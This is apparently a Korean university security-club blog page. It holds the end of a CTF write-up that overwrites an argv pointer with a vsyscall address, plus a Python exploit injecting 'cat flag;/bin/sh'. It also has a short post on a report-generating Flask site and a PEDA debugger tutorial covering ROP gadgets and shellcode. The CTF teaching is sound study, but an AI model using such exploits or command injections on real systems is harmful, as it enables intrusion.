<p>그럼 각설하고 풀이로 들어가보도록 하겠습니다!</p>
<h2 id="문제환경"><a href="#문제환경" class="headerlink" title="문제환경"></a>문제환경</h2><p align="center"> <img src="/img/systemshock1.png" style="width: 90%;"/> </p>
<p>오호 정확히 <code>strlen</code>의 인자로 넣어준 A들이 들어간것을 볼 수 있습니다.</p>
<p>그럼 이제 해야할것은 <code>argv[1]</code>의 포인터를 덮어씌우기 위해 앞에 몇개의 A를 넣어줘야하는지와 어떤 값으로 덮어써야할지를 정하면 되겠습니다.</p>
<p>어떤값으로 덮어써야할지는 비어있는 문자열 즉 null이 들어있는 주소로 덮어주면 됩니다. 그러면 <code>strlen</code>의 리턴값이 0이 되고, 입력값 검사를 우회할수 있게 됩니다. 그런데 여기서 또 생각해 줘야할 부분이 서버에는 ASLR이 걸려있어 주소들이 랜덤이고 32비트가 아니라 ulimit -s unlimited 같은 꼼수도 못부립니다 ㅠㅠ.. 하지만! 64비트에도 고정인 주소가 있으니… 바로 그부분은 vsyscall 영역입니다.</p>
<p align="center"> <img src="/img/systemshock2.png" style="width: 80%;"/> </p>
<p>끝부분에 보이는 </p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]</span><br></pre></td></tr></table></figure>
<p>부분은 ASLR이 걸려있더라도 고정인 주소로 매핑됩니다. 그렇다면 이 vsyscall 영역에 null이 들어있는 주소가있다면?! 그 주소로 <code>strlen</code>의 인자, 즉 argv[1]의 포인터를 덮어씌우면 끝나게 됩니다.</p>
<p>그러면 이제 이 vsyscall 영역에 null문자열이 있는지 한번 찾아봅시다.</p>
<p align="center"> <img src="/img/systemshock3.png" style="width: 90%;"/> </p>
<p>찾는방법은 여러가지 있겠으나 저는 peda의 searchmem 기능을 이용하여 찾았습니다.<br>vsyscall 영역에서 null(0x00) 으로 찾으니 꽤 많이 나오는데 이 중에서 값의 중간에 0x00 널값이 포함안되는 값으로 아무거나 하나 정해주면됩니다.</p>
<p>null이 들어가면 안되는 이유는 문제 바이너리를 실행할때 인풋을 argv[1]로 넘겨주는데 이 argv[1]은 중간에 null값이 들어갈 수 없기 때문입니다. ( null 값이 들어가면 null뒤의 값들은 짤립니다.. ㅠㅠ )</p>
<p>여튼 그럼 저는 적당히 0xffffffffff600405 로 골라서 하도록 하겠습니다.</p>
<p>이제 남은일은 앞에 더미값인 A를 몇개나 입력해줘야하는가 인데, 자세히 분석해서 알아낼 수도 있겠지만 대회 특성상 문제를 빨리풀어야하는걸 고려해서 peda의 pattern 명령어를 사용하여 자세히 분석하지 않고도 쉽게 알아낼수 있는 방법을 쓰도록 하겠습니다.</p>
<p align="center"> <img src="/img/systemshock4.png" style="width: 85%;"/> </p>
<p>pattern create 1024 pattern.txt 를 입력하면 pattern.txt 라는 파일에 1024개의 패턴 문자가 쓰여지게 됩니다.<br>그리고 실행할때 r <code>cat pattern.txt</code> 로 실행을 하면 방금 만든 pattern 값들을 argv[1]로 넘기면서 실행할 수 있습니다.</p>
<p>이렇게 실행을 하면,</p>
<p align="center"> <img src="/img/systemshock5.png" style="width: 85%;"/> </p>
<p>이렇게 <code>strlen</code>의 인자가 패턴값으로 덮힌것을 알 수 있습니다.</p>
<p>이상태에서 pattern.txt 파일을 열어 ANsA8sAi 의 문자열을 찾아 ( 리틀엔디안이므로 문자열을 뒤집은 것입니다. ) 이 문자열앞의 문자 갯수를 python len 함수같은것을 이용하여 세어봐도 되고, peda의 pattern search 라는 기능을 이용해도 됩니다.</p>
<p align="center"> <img src="/img/systemshock6.png" style="width: 85%;"/> </p>
<p>pattern search를 해보면 offset이 525로 나오는데 이게 우리가 구할 offset과 일치합니다.</p>
<p>이렇게 offset을 구했으니 “A” 525개 + “B” 8개 를 넣어서 offset이 맞는지 한번 확인해보도록 하겠습니다.</p>
<p align="center"> <img src="/img/systemshock7.png" style="width: 90%;"/> </p>
<p><code>strlen</code>에 breakpoint를 걸은후, <code>perl -e'print"A"x525, "B"x8'</code> 로 실행시키면 정확히 <code>strlen</code>의 인자로 BBBBBBBB가 들어가는것을 볼 수 있습니다.</p>
<p>그럼 이제 BBBBBBBB 부분 대신에 아까 구해준 null이 들어있는 주소, 0xffffffffff600405 으로 대신 넣어주고 “A”525개에 A만 넣는게 아니라 실행시킬 명령어도 포함시켜 주면 입력값 검사를 안받게되고 임의의 명령어를 실행시킬수 있게 됩니다.</p>
<h2 id="Exploit-Code"><a href="#Exploit-Code" class="headerlink" title="Exploit Code"></a>Exploit Code</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># exploit.py</span></span><br><span class="line"><span class="comment"># ./shock "`cat payload`"</span></span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"></span><br><span class="line">f = <span class="built_in">open</span>(<span class="string">"payload"</span>, <span class="string">"w"</span>)</span><br><span class="line"></span><br><span class="line">null_addr=<span class="number">0xffffffffff600405</span></span><br><span class="line">cmd=<span class="string">"HACKED;cat flag;/bin/sh;#"</span></span><br><span class="line"></span><br><span class="line">payload = cmd + <span class="string">"A"</span>*(<span class="number">525</span>-<span class="built_in">len</span>(cmd))</span><br><span class="line">payload+= pack(<span class="string">"<Q"</span>, null_addr)</span><br><span class="line"></span><br><span class="line">f.write(payload)</span><br><span class="line">f.close()</span><br></pre></td></tr></table></figure>
<p><img src="/img/systemshock8.png"></p>
<p>궁금한부분이 있거나 수정할 부분이 있으면 언제든 말해주세요!</p>
<p>작성자: <a target="_blank" rel="noopener" href="https://github.com/L34p/">l34p</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://hexa-unist.github.io/2015/02/27/club-auto-system/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="HeXA">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="HeXA">
<meta itemprop="description" content="UNIST Computer Club. Hacker's eXciting Academy">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | HeXA">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2015/02/27/club-auto-system/" class="post-title-link" itemprop="url">동아리 활동 내역서 자동 생성 사이트</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2015-02-27 21:15:00" itemprop="dateCreated datePublished" datetime="2015-02-27T21:15:00+09:00">2015-02-27</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-07-22 21:19:40" itemprop="dateModified" datetime="2024-07-22T21:19:40+09:00">2024-07-22</time>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>많은 양의 활동보고서를 일일히 수정해서 쓰는 것에 불편함을 느껴, 날짜/활동내용/참가자 명단 등을 입력하면 자동으로 보고서를 만들어주는 사이트를 만들었습니다.</p>
<p align="center"> <img src="/img/club-auto-system1.png" style="width: 70%;"/> </p>
<p>먼저, 다음과 같이 내용을 작성하고 사진을 업로드 합니다.<br>그 후 Upload 버튼을 누르면,</p>
<p align="center"> <img src="/img/club-auto-system2.png" style="width: 60%;"/> </p>
<p>위 사진처럼 파일을 다운받을 수 있게 됩니다.</p>
<p align="center"> <img src="/img/club-auto-system3.png" style="width: 60%;"/> </p>
<p>위에 적었던 내용들이 다음과 같이 폼에 들어가 작성되며, 사진 또한 크기에 맞춰서 들어갑니다.</p>
<p align="center"> <img src="/img/club-auto-system4.png" style="width: 60%;"/> </p>
<p>출결 여부를 체크하지 않은 사람은 불참으로 기록되며, 출석 인원에서 제외됩니다.<br>파이썬으로 작성했으며, Flask를 사용했습니다.</p>
<p><a target="_blank" rel="noopener" href="https://github.com/fresh-mango-tree/Activity-Report-Factory">code</a></p>
<p>작성자: <a target="_blank" rel="noopener" href="http://freshmangotree.tistory.com/">fresh-mango-tree</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://hexa-unist.github.io/2015/02/26/PEDA-How-To-Use/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="HeXA">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="HeXA">
<meta itemprop="description" content="UNIST Computer Club. Hacker's eXciting Academy">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | HeXA">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2015/02/26/PEDA-How-To-Use/" class="post-title-link" itemprop="url">PEDA - How To Use</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2015-02-26 00:17:00" itemprop="dateCreated datePublished" datetime="2015-02-26T00:17:00+09:00">2015-02-26</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-07-22 21:19:40" itemprop="dateModified" datetime="2024-07-22T21:19:40+09:00">2024-07-22</time>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>이번 포스팅에서는 PEDA에는 어떤 기능들이 있는지, 실제로 어떤식으로 활용할 수 있는지에 대해 살펴보도록 하겠습니다.</p>
<h2 id="PEDA-기본-인터페이스"><a href="#PEDA-기본-인터페이스" class="headerlink" title="PEDA 기본 인터페이스"></a>PEDA 기본 인터페이스</h2><p align="center"> <img src="/img/peda-how-to1.png" style="width: 80%;"/> </p>
<p>우선 PEDA의 기본적인 화면은 위와 같습니다.</p>
<p>display 같은 걸 해주지 않으면 기본적으로 화면에 아무것도 안 나오는 gdb와 달리 PEDA는 기본적으로 현재 레지스터의 상태와 실행 중인 명령어와 그 주변 명령어들, 스택의 내용물 등을 표시해줍니다.</p>
<p>특히나 정말 멋진 기능 중 하나는 포인터를 따라가서 그 내용물까지 보여주는 기능입니다.<br>위 그림에서 레지스터 부분이나 스택 부분을 보면 포인터를 따라가서 그 안의 내용까지 보여주는 걸 볼 수 있습니다. PEDA 짱짱맨!!</p>
<p>그러면 이제 PEDA의 다양한 기능들을 하나씩 하나씩 들여다보겠습니다.</p>
<h2 id="pdisas"><a href="#pdisas" class="headerlink" title="pdisas"></a>pdisas</h2><p align="center"> <img src="/img/peda-how-to2.png" style="width: 80%;"/> </p>
<p>pdisas는 gdb에서 쓰던 disas 명령어의 확장판입니다.</p>
<p>위 그림을 보면 알 수 있듯이 pdisas를 사용하면 알록달록한! 컬러풀한! 가독성이 더 높아진 버전의 disas 결과물을 볼 수 있습니다. PEDA는 gdb의 확장이므로 물론 원래 gdb의 기능들도 모두 사용 가능합니다. 그래서 pdisas 와 disas를 위 그림처럼 비교해보면 확실히 pdisas가 컬러링이 잘 돼있어 가독성이 높은 걸 알 수 있습니다.</p>
<h3 id="How-to-use"><a href="#How-to-use" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ pdisas <span class="string">"Function Name"</span></span><br></pre></td></tr></table></figure>
<h3 id="Example"><a href="#Example" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ pdisas main</span><br></pre></td></tr></table></figure>
<h2 id="context-code-x2F-register-x2F-stack"><a href="#context-code-x2F-register-x2F-stack" class="headerlink" title="context code / register / stack"></a>context code / register / stack</h2><p align="center"> <img src="/img/peda-how-to3.png" style="width: 80%;"/> </p>
<p>context 명령어는 별다른 기능이 아니라 맨 처음에 보여드렸던 PEDA 기본인터페이스 에서 code영역 register영역 stack영역을 따로 따로 볼 수 있는 기능입니다.</p>
<h3 id="How-to-use-1"><a href="#How-to-use-1" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ context <span class="string">"code/register/stack/all"</span> ( context 만 입력시엔 context all 과 같습니다. )</span><br></pre></td></tr></table></figure>
<h3 id="Example-1"><a href="#Example-1" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ context</span><br><span class="line">gdb-peda$ context code</span><br><span class="line">gdb-peda$ context all</span><br></pre></td></tr></table></figure>
<h2 id="session-save-x2F-restore"><a href="#session-save-x2F-restore" class="headerlink" title="session save / restore"></a>session save / restore</h2><p align="center"> <img src="/img/peda-how-to4.png" style="width: 80%;"/> </p>
<p>session 명령어! 정말 편리한 기능을 제공하는 명령어입니다.<br>기존 gdb에서는 열심히 분석하면서 break point도 걸어놓고 watch point도 걸어놓고 해 놓더라도 gdb를 껐다 다시 키면 전부 없어지는데 peda에서는 session이라는 명령어로 break point와 같은 설정들을 저장하고 불러오는게 가능합니다.</p>
<p>위 그림에서도 맨 처음에 info b 를 했을때, “No breakpoints or watchpoints” 가 나오는데 session restore 명령어를 치고 난 후 info b 를 해보면 저장해 놓았던 설정들을 그대로 가져오는 것을 볼 수 있습니다. </p>
<h3 id="How-to-use-2"><a href="#How-to-use-2" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ session save <span class="string">"파일이름"</span> ( 파일이름 생략시엔 peda-session-<span class="string">"실행파일이름"</span>.txt 로 저장 )</span><br><span class="line">gdb-peda$ session restore <span class="string">"파일이름"</span> ( 파일이름 생략시엔 peda-session-<span class="string">"실행파일이름"</span>.txt 로드 )</span><br></pre></td></tr></table></figure>
<h3 id="Example-2"><a href="#Example-2" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ session save</span><br><span class="line">gdb-peda$ session restore</span><br><span class="line">gdb-peda$ session save MySession</span><br><span class="line">gdb-peda$ session restore MySession</span><br></pre></td></tr></table></figure>
<h2 id="snapshot-save-x2F-restore"><a href="#snapshot-save-x2F-restore" class="headerlink" title="snapshot save / restore"></a>snapshot save / restore</h2><p>이것도 상당히 재밌는 기능인데, session 이 break point나 watch point 들을 저장하고 불러온다면 이 명령어는 아예 현재 디버깅중인 프로세스의 스냅샷을 찍어 저장하고 불러올수있게 합니다. 사용법은 session과 동일합니다.</p>
<h2 id="vmmap"><a href="#vmmap" class="headerlink" title="vmmap"></a>vmmap</h2><p align="center"> <img src="/img/peda-how-to5.png" style="width: 80%;"/> </p>
<p>이 명령어는 현재 디버깅 중인 프로세스의 Virtual Memory MAP을 보여줍니다.<br>그냥 vmmap 만 입력할 시에는 vmmap all 과 같으며 위 그림과 같이 vmmap binary, vmmap stack 이런 식으로 특정 메모리 영역만 볼 수도 있습니다.</p>
<p>원래 gdb로 했었더라면 현재 프로세스의 pid를 알아내고 shell cat /proc/“pid”/maps 를 해서 봐야 했을 텐데 PEDA를 사용하면 아주 간단하게 메모리 매핑 상태를 보는 게 가능합니다.</p>
<p>여기서 추가적으로 더 나아가서 얘기하자면, vmmap stack을 사용해서 현재 stack의 권한을 보고 해당 바이너리가 NX가 걸렸는지 안 걸렸는지도 알 수 있습니다.</p>
<h3 id="How-to-use-3"><a href="#How-to-use-3" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ vmmap <span class="string">"all/binary/libc/stack/ld ..."</span> ( 인자를 생략할 시에는 vmmap all 과 같습니다. )</span><br></pre></td></tr></table></figure>
<h3 id="Example-3"><a href="#Example-3" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ vmmap</span><br><span class="line">gdb-peda$ vmmap libc</span><br><span class="line">gdb-peda$ vmmap stack</span><br></pre></td></tr></table></figure>
<h2 id="checksec"><a href="#checksec" class="headerlink" title="checksec"></a>checksec</h2><p align="center"> <img src="/img/peda-how-to6.png" style="width: 80%;"/> </p>
<p>이 명령어는 현재 바이너리에 걸려있는 보안 기법들을 보여줍니다. 사용법은 간단히 그냥 checksec을 입력하기만 하면됩니다. 근데 여기서 주의해야 할 게 다른 건 몰라도 여기서 표시되는 NX는 별로 신뢰하지 않는 게 좋습니다. 버그가 있는지는 몰라도 NX가 안 걸려있는데 걸려있다고 나온다던가… 이런 경우가 몇 번 있어서 통수 맞은 적이 있네요 ㅠㅠ</p>
<p>그래서 밑에서 소개할 nxtest 라는 명령어 또는 vmmap stack과 같은 명령어로 다른방법을 사용해서 NX는 따로 체크해주시는게 좋을 것 같습니다. </p>
<h3 id="How-to-use-4"><a href="#How-to-use-4" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ checksec</span><br></pre></td></tr></table></figure>
<h2 id="nxtest"><a href="#nxtest" class="headerlink" title="nxtest"></a>nxtest</h2><p align="center"> <img src="/img/peda-how-to7.png" style="width: 80%;"/> </p>
<p>nxtest는 말그대로 NX 가 걸려있는지 테스트 해주는 명령어로 스택에 실행권한이 있는지 체크합니다. </p>
<h3 id="How-to-use-5"><a href="#How-to-use-5" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ nxtest</span><br></pre></td></tr></table></figure>
<h2 id="procinfo-x2F-getpid"><a href="#procinfo-x2F-getpid" class="headerlink" title="procinfo / getpid"></a>procinfo / getpid</h2><p align="center"> <img src="/img/peda-how-to8.png" style="width: 80%;"/> </p>
<p>procinfo 는 현재 디버깅중인 프로세스의 정보를 위 그림과 같이 표시해 줍니다.<br>pid만 필요하다면 getpid 명령어를 사용하는걸로 pid만 얻을수도 있습니다.</p>
<h3 id="How-to-use-6"><a href="#How-to-use-6" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ procinfo</span><br><span class="line">gdb-peda$ getpid</span><br></pre></td></tr></table></figure>
<h2 id="elfsymbol"><a href="#elfsymbol" class="headerlink" title="elfsymbol"></a>elfsymbol</h2><p align="center"> <img src="/img/peda-how-to9.png" style="width: 80%;"/> </p>
<p>이게 또 참 편리한 기능인데, elfsymbol이라는 명령어로 현재 디버깅 중인 바이너리의 plt 주소, got 주소 등을 알 수 있습니다. exploit 코드를 작성할 때 got overwrite을 한다거나 got 주소를 leak 시켜온다거나 여러 가지의 상황에서 plt 주소와 got 주소가 필요한 경우가 종종 있는데 이럴때 elfsymbol 명령어를 이용하면 아주 쉽게 정보를 얻을 수 있습니다.</p>
<h3 id="How-to-use-7"><a href="#How-to-use-7" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ elfsymbol <span class="string">"symbol"</span> ( 인자를 생략하면 symbol들을 모두 보여줍니다. )</span><br></pre></td></tr></table></figure>
<h3 id="Example-4"><a href="#Example-4" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ elfsymbol</span><br><span class="line">gdb-peda$ elfsymbol <span class="built_in">printf</span></span><br></pre></td></tr></table></figure>
<h2 id="elfheader"><a href="#elfheader" class="headerlink" title="elfheader"></a>elfheader</h2><p align="center"> <img src="/img/peda-how-to10.png" style="width: 80%;"/> </p>
<p>elfheader 명령어는 현재 디버깅 중인 바이너리의 헤더 정보들을 보여줍니다. 이 기능도 exploit 코드를 작성할 때 종종 bss 영역의 주소가 필요하다거나 하는 경우가 있는데 이럴 때 사용하면 유용합니다.</p>
<h3 id="How-to-use-8"><a href="#How-to-use-8" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ elfheader</span><br></pre></td></tr></table></figure>
<h3 id="Example-5"><a href="#Example-5" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ elfheader</span><br><span class="line">gdb-peda$ elfheader .bss</span><br></pre></td></tr></table></figure>
<h2 id="find-x2F-searchmem"><a href="#find-x2F-searchmem" class="headerlink" title="find / searchmem"></a>find / searchmem</h2><p align="center"> <img src="/img/peda-how-to11.png" style="width: 80%;"/> </p>
<p>find와 searchmem 은 동일한 명령어로 아무거나 선호하는 걸로 사용하시면 되며, 이 명령어는 메모리 영역에서 특정 패턴을 찾아줍니다.<br>다양한 방법으로 응용될 수 있는데, 몇가지 예시를 들자면 위 그림과 같이 /bin/sh 문자열의 주소를 찾는다던가 특정 OPCODE를 메모리에서 찾는다던가 하는게 가능합니다.</p>
<h3 id="How-to-use-9"><a href="#How-to-use-9" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ find/searchmem <span class="string">"pattern"</span> <span class="string">"범위"</span> ( 범위부분을 생략하면 binary 영역으로 세팅 됩니다.)</span><br></pre></td></tr></table></figure>
<h3 id="Example-6"><a href="#Example-6" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ find /bin/sh libc</span><br></pre></td></tr></table></figure>
<h2 id="ropgadget-x2F-ropsearch-x2F-dumprop"><a href="#ropgadget-x2F-ropsearch-x2F-dumprop" class="headerlink" title="ropgadget / ropsearch / dumprop"></a>ropgadget / ropsearch / dumprop</h2><p align="center"> <img src="/img/peda-how-to12.png" style="width: 80%;"/> </p>
<p>ropgadget 과 ropsearch 명령어는 ROP를 할 때 필요한 가젯들을 쉽게 찾을 수 있도록 도와주는 명령어입니다. ropgadget은 자주 쓰이는 가젯들인 pop-ret, leave-ret, add esp 와 같은 가젯들을 찾아줍니다. 또한 ropsearch는 원하는 특정 가젯을 찾을 수 있도록 도와줍니다. </p>
<p>dumprop도 비슷한 명령어인데, 이 명령어는 특정 가젯을 찾기 보다 특정 메모리 영역에서 모든 가젯들을 보고 싶을 때 유용합니다. 하지만 ropsearch ‘’ binary 이런 식으로 사용하면 ropsearch 로도 dumprop와 비슷하게 사용할 수 있습니다.</p>
<h3 id="How-to-use-10"><a href="#How-to-use-10" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ ropgadget binary/libc/vdso/all ... ( 인자를 생략하면 ropgadget binary 와 같습니다. )</span><br><span class="line">gdb-peda$ ropsearch <span class="string">"gadget"</span> <span class="string">"범위"</span> ( gadget 부분을 <span class="string">''</span> 로 빈 상태로 보내면 모든 가젯을 찾습니다. )</span><br><span class="line">gdb-peda$ dumprop <span class="string">"범위"</span> ( 인자를 생략하면 dumprop binary 와 같습니다. )</span><br></pre></td></tr></table></figure>
<h3 id="Example-7"><a href="#Example-7" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ ropgadget</span><br><span class="line">gdb-peda$ ropgadget libc</span><br><span class="line">gdb-peda$ ropsearch <span class="string">"add esp, ?"</span> binary</span><br><span class="line">gdb-peda$ ropsearch <span class="string">"int 0x80"</span> libc</span><br><span class="line">gdb-peda$ ropsearch <span class="string">""</span> binary ( binary 범위에서 모든 가젯을 찾습니다. )</span><br><span class="line">gdb-peda$ ropsearch <span class="string">"pop ?"</span> 0x08048000 0x0804b000</span><br><span class="line">gdb-peda$ dumprop binary</span><br><span class="line">gdb-peda$ dumprop 0x08048000 0x0804b000</span><br></pre></td></tr></table></figure>
<h2 id="jmpcall"><a href="#jmpcall" class="headerlink" title="jmpcall"></a>jmpcall</h2><p align="center"> <img src="/img/peda-how-to13.png" style="width: 80%;"/> </p>
<p>이 명령어도 ROP 할 때 유용한 가젯들을 찾아주는데, 그중 jmp와 call 가젯들을 전부 찾아줍니다. 그냥 jmpcall 만 입력하면 바이너리 영역 내의 모든 jmp, call 가젯들을 찾아주며 jmpcall esp libc 처럼 특정 메모리 영역 내의 특정 jmp, call 가젯들만 찾을 수도 있습니다.</p>
<h3 id="How-to-use-11"><a href="#How-to-use-11" class="headerlink" title="How to use"></a>How to use</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ jmpcall <span class="string">"register"</span> <span class="string">"범위"</span> (인자들을 모두 생략하면 jmpcall <span class="string">""</span> binary 와 같으며, 바이너리 영영 내 모든 jmp, call 가젯들을 찾아줍니다.)</span><br></pre></td></tr></table></figure>
<h3 id="Example-8"><a href="#Example-8" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ jmpcall</span><br><span class="line">gdb-peda$ jmpcall <span class="string">""</span> libc</span><br><span class="line">gdb-peda$ jmpcall esp libc</span><br><span class="line">gdb-peda$ jmpcall [eax] libc</span><br><span class="line">gdb-peda$ jmpcall eax ( jmpcall eax binary 와 같습니다. )</span><br></pre></td></tr></table></figure>
<h2 id="shellcode"><a href="#shellcode" class="headerlink" title="shellcode"></a>shellcode</h2><p align="center"> <img src="/img/peda-how-to14.png" style="width: 80%;"/> </p>
<p>PEDA에는 기본적으로 제공해주는 쉘코드가 몇 가지 있는데 shellcode generate 란 명령어로 현재 가능한 쉘코드 종류를 볼 수 있고, shellcode generate x86/linux exec 이런 식으로 지정하여 필요한 쉘코드를 바로바로 얻을 수도 있습니다.</p>
<p>현재 PEDA에 기본적으로 내장되어 있는 쉘코드는 x86/linux, bsd 뿐이지만 shellcode search나 display로 쉘코드를 웹에서 가져올 수도 있습니다.</p>
<h3 id="Example-9"><a href="#Example-9" class="headerlink" title="Example"></a>Example</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ shellcode generate x86/linux <span class="built_in">exec</span></span><br></pre></td></tr></table></figure>
<p>이 외에도 PEDA는 많은 기능들을 제공하는데, PEDA에서 제공하는 다른 기능들도 살펴보시고 싶으시면, phelp 또는 peda help 를 입력하셔서 쭉 훑어보시면 됩니다.</p>
<p>PEDA 명령어나 명령어 활용법에 대해 다른 참고할만한 자료 및 사이트</p>
<ol>
<li><a target="_blank" rel="noopener" href="http://ropshell.com/peda/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf">http://ropshell.com/peda/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf</a></li>
<li><a target="_blank" rel="noopener" href="http://security.cs.pub.ro/hexcellents/wiki/kb/toolset/peda">http://security.cs.pub.ro/hexcellents/wiki/kb/toolset/peda</a></li>
</ol>
<p>수정할 내용이나 더 추가할 내용이 있다면 알려주세요!</p>
<p>작성자: <a target="_blank" rel="noopener" href="https://github.com/L34p/">l34p</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>